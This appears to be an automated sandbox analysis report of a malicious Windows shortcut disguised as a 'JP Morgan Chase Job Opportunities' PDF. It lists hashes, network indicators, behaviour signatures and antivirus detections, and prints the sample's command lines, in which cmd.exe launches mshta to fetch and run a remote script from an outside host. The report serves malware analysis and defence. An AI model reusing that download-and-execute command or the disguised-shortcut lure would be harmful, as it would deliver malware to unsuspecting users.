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JP Morgan Chase Job Opportunities.pdf.lnk

Generic Malware Downloader FTP Code injection DGA HTTP Socket Escalate priviledges Create Service KeyLogger P2P Internet API DNS Http API Anti_VM Steal credential ScreenShot Sniff Audio GIF Format AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Sept. 8, 2021, 11:58 a.m. Sept. 8, 2021, noon
Size 724.6KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has command line arguments, Icon number=13, Archive, ctime=Wed Apr 21 18:38:09 2021, mtime=Sun Jun 20 17:22:19 2021, atime=Wed Apr 21 18:38:09 2021, length=289792, window=hide
MD5 aefa2caddfeb3bccb1e696cc2cd6955a
SHA256 0f73d0269cf77c53a38fb5863258755e3055979a6343d15573ab2222ce75f49b
CRC32 C71CA7F8
ssdeep 12288:DACM+Gn3OUWzGwFS4U9bZTa+ugkWQWCojChVQI9hujrCiIhUfQNd6wxW0:Dq+G3OVnW9uS6vQONfxW0
Yara
  • Generic_Malware_Zero - Generic Malware
  • Lnk_Format_Zero - LNK Format
  • anti_vm_detect - Possibly employs anti-virtualization techniques

Name Response Post-Analysis Lookup
www.googlesheetpage.org
A 139.180.164.131
139.180.164.131
IP Address Status Action
139.180.164.131 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49170 -> 139.180.164.131:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49170
139.180.164.131:443 		C=US, O=Let's Encrypt, CN=R3 CN=googlesheetpage.org b7:04:d9:0c:bb:bd:73:6b:08:a8:ad:84:f9:11:1b:44:43:b3:91:5d

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET https://www.googlesheetpage.org/bSQphSxgStENEhz5Y+PZCpjr/NBSWGWjjhkJi/PvaqE=
file C:\Users\test22\AppData\Local\Temp\JP Morgan Chase Job Opportunities.pdf.lnk
cmdline C:\Windows\System32\mshta https://www.googlesheetpage.org/bSQphSxgStENEhz5Y+PZCpjr/NBSWGWjjhkJi/PvaqE=
cmdline "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://www.googlesheetpage.org/bSQphSxgStENEhz5Y+PZCpjr/NBSWGWjjhkJi/PvaqE=
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2628
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef80000
process_handle: 0xffffffff
1 0 0
url https://www.googlesheetpage.org/bSQphSxgStENEhz5Y
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Record Audio rule Sniff_Audio
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Take ScreenShot rule ScreenShot
description Match Windows Http API call rule Str_Win32_Http_API
description Steal credential rule local_credential_Steal
description File Downloader rule Network_Downloader
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002c0
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
Process injection Process 2304 resumed a thread in remote process 2424
Process injection Process 2424 resumed a thread in remote process 2628
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002f0
suspend_count: 1
process_identifier: 2424
1 0 0

NtResumeThread

 thread_handle: 0x00000084
suspend_count: 0
process_identifier: 2628
1 0 0
Lionic Trojan.WinLNK.Nioc.4!c
CAT-QuickHeal LNK.Agent.41324
ALYac Trojan.Agent.LNK.Gen
Arcabit Heur.BZC.YAX.Nioc.1.078B6D01
ESET-NOD32 LNK/Agent.GX
Avast Other:Malware-gen [Trj]
Kaspersky HEUR:Trojan.WinLNK.Agent.gen
BitDefender Heur.BZC.YAX.Nioc.1.078B6D01
ViRobot LNK.S.Downloader.742035
MicroWorld-eScan Heur.BZC.YAX.Nioc.1.078B6D01
Tencent Heur:Trojan.Winlnk.Downloader.wya
Ad-Aware Heur.BZC.YAX.Nioc.1.078B6D01
Emsisoft Heur.BZC.YAX.Nioc.1.078B6D01 (B)
McAfee-GW-Edition LNK/Agent-FNW!AEFA2CADDFEB
FireEye Heur.BZC.YAX.Nioc.1.078B6D01
Sophos Troj/DownLnk-X
Ikarus Trojan.LNK.Agent
MAX malware (ai score=100)
Microsoft Exploit:Win32/Aicat.A!ml
ZoneAlarm HEUR:Trojan.WinLNK.Agent.gen
GData Heur.BZC.YAX.Nioc.1.078B6D01
AhnLab-V3 LNK/Autorun.Gen
McAfee LNK/Agent-FNW!AEFA2CADDFEB
VBA32 Trojan.Link.Crafted
Zoner Probably Heur.LNKScript
Rising Downloader.Mshta/LNK!1.BADA (CLASSIC)
SentinelOne Static AI - Malicious LNK
AVG Other:Malware-gen [Trj]